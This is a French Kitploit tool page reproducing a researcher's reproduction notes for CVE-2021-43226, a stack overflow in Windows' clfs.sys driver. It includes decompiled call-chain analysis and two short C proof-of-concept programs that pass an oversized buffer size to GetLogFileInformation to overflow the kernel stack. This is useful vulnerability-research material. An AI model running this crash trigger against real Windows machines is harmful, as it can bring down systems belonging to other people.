Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2021-43226PoC — une preuve de concept de cve-2021-43226, dépassement de pile dans le pilote Windows clfs.sys | Kitploit
Outils/GitHubGitHub/rosayxy/cve-2021-43226poc
Analyse des VulnérabilitésExploitationExploitation de Binaires
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

une preuve de concept de cve-2021-43226, dépassement de pile dans le pilote Windows clfs.sys

Voir le dépôt
21il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Reproduction de CVE-2021-43226

Environnement

Système d'exploitation : Win10 20H2 version 19042.508 sur Hyper-V. J'ai trouvé un site https://os.click/en qui propose des images Windows assez complètes et sans backdoor apparente.
Le PoC trouvé étant compilé avec Visual Studio 2013, j'ai également utilisé Visual Studio 2013 avec une liaison statique pour le programme.

Vulnérabilité

Le point de vulnérabilité se trouve dans la fonction CClfsLogFcbVirtual::QueryLogFileInfo de clfs.sys. Dans la documentation Microsoft, clfs.sys est décrite comme suit :

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

Le premier pointeur de cette fonction est un CClfsLogFcbVirtual* this. En comparant le code avant et après le correctif, on observe une différence notable dans un bloc de code comme celui-ci :

root@kitploit:~
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
              *((_QWORD *)this + 78),
              a2,
              0i64,
              0i64,
              0,
              Src,
              Size);

La question est de savoir si Size est défini à 120 avant cette ligne.

Parmi les autres paramètres transmis à la fonction, a2 est un FILE_OBJECT, Src est un tableau sur la pile (IDA décompile __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) et la description de cette vulnérabilité indique un débordement de pile. On suppose que lorsque Size est supérieur à 120, un débordement de pile se produit.

Un problème rencontré est l'impossibilité de consulter directement les références croisées : cette fonction est appelée via __guard_dispatch_icall_fptr, et nous sommes encore en train de déterminer les paramètres passés lors de l'appel de la fonction. (Mise à jour) : Cette fonction est appelée par ClfsQueryLogFileInformation ou CClfsRequest::LogFileInfo, qui utilisent respectivement les API CreateLogFile et GetLogFileInformation. Comme la chaîne d'appel de GetLogFileInformation est nettement plus courte, nous avons choisi cette API pour provoquer un crash.

Lors de l'appel à GetLogFileInformation, la dernière étape de passage de paramètres se fait dans la fonction LogFileInfo :

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

où v14 est un FileObject et this est un CClfsRequest passé en paramètre à LogFileInfo.

Continuons à examiner la fonction qui appelle LogFileInfo : il s'agit de CClfsRequest::Dispatch (déclaration exacte : __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). Cette fonction utilise LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; pour déterminer quelle fonction appeler plus précisément, où CurrentStackLocation est une structure struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx transmise en paramètre. L'affectation de this dépend à son tour des paramètres que la fonction parente transmet à ce dispatch. Remontons donc encore d'un niveau.

Ensuite vient la fonction CClfsDispatchIoRequest : v7 = CClfsRequest::Dispatch(v4, Irp, a1); où a1 et Irp sont les paramètres entrants, a1 est un DeviceObject, Irp est un pointeur PIRP (c'est-à-dire un pointeur vers un IRP ; voir https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp). L'affectation de v4 est la suivante :

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4 est de type int64

Continuons à remonter les paramètres jusqu'à la fonction CClfsDriver::LogIoDispatch, qui transmet directement ses propres paramètres à CClfsDispatchIoRequest. Un niveau au-dessus se trouve nt!IofCallDriver, dont la déclaration est :

root@kitploit:~
NTSTATUS IofCallDriver(
  PDEVICE_OBJECT        DeviceObject,
  __drv_aliasesMem PIRP Irp
);

Reproduction

Cherchons d'abord la déclaration exacte de l'API et la signification de ses paramètres.

GetLogFileInformation :

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

Les paramètres sont définis comme suit :

  • hLog : Handle d'un journal ouvert obtenu par un appel réussi à CreateLogFile. Le handle peut référencer un journal dédié ou multiplexé.
  • pinfoBuffer : Pointeur vers une structure CLFS_INFORMATION allouée par l'utilisateur, qui recevra les métadonnées du journal.
  • cbBuffer : Pointeur vers une variable ; à l'entrée, spécifie la taille (en octets) du tampon de métadonnées pointé par pinfoBuffer.
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//créer un fichier journal
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("création du fichier journal réussie\n");
	//sizeof(CLS_INFORMATION) vaut 120 soit 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

Ici, les paramètres de CreateLogFile et GetLogFileInformation sont copiés directement depuis la documentation Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).

Cependant, un problème s'est posé avec le nom du journal (logname). Au début, j'ai suivi l'exemple donné dans la documentation :

Par exemple, le chemin "LOG:c:\MyDirectory\MyLog" crée le fichier "c:\MyDirectory\MyLog.blf".

Mais j'ai constaté que cela créait directement un fichier nommé c dans le répertoire courant. J'ai donc regardé le PoC (Others) et modifié le chemin en utilisant la notation générique sous Windows "LOG:C:\MyLog". Cela non plus ne fonctionnait pas : le débogage a montré que la fonction appelée n'était pas CClfsLogFcbVirtual::QueryLogFileInfo mais CClfsLogFcbPhysical::QueryLogFileInfo. En ajoutant un LogStreamName, cela a fonctionné.

Un autre petit problème : Visual Studio utilisant une liaison statique, sans la ligne #pragma comment(lib,"clfsw32.lib"), l'éditeur de liens répétait sans cesse qu'il ne trouvait pas CreateLogFile et GetLogFileInformation.

PoC (Autres)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
Télécharger l’outil